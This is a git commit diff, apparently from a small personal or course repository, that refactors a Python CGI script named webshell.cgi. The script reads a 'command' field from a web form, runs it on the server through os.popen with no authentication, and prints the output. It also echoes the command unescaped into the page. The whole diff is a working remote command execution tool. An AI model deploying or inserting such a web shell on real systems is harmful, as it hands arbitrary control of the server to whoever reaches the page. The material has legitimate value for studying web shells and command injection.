summaryrefslogtreecommitdiff
path: root/html
diff options
context:
space:
mode:
Diffstat (limited to 'html')
-rwxr-xr-xhtml/cgi-bin/webshell.cgi17
1 files changed, 9 insertions, 8 deletions
diff --git a/html/cgi-bin/webshell.cgi b/html/cgi-bin/webshell.cgi
index 0ef300b..ba8cecd 100755
--- a/html/cgi-bin/webshell.cgi
+++ b/html/cgi-bin/webshell.cgi
@@ -18,19 +18,20 @@ print ("""
</head>
<body>
<h1>Web shell</h1>
-<p>Votre commande :
""")
+
+print("<p>Votre commande : ")
if cmd : print(cmd)
+print("</p>")
+
print("""
-</p>
<form action=''>
-<input type='text' name='command' id='command' />
+<input type='text' name='command'>
</form>
""")
-if cmd :
- print("<pre>")
- print(os.popen(cmd).read())
- print("</pre>")
+
+if cmd : print("<pre>",os.popen(cmd).read(),"</pre>")
print("""
</body>
-</html>""")
+</html>
+""")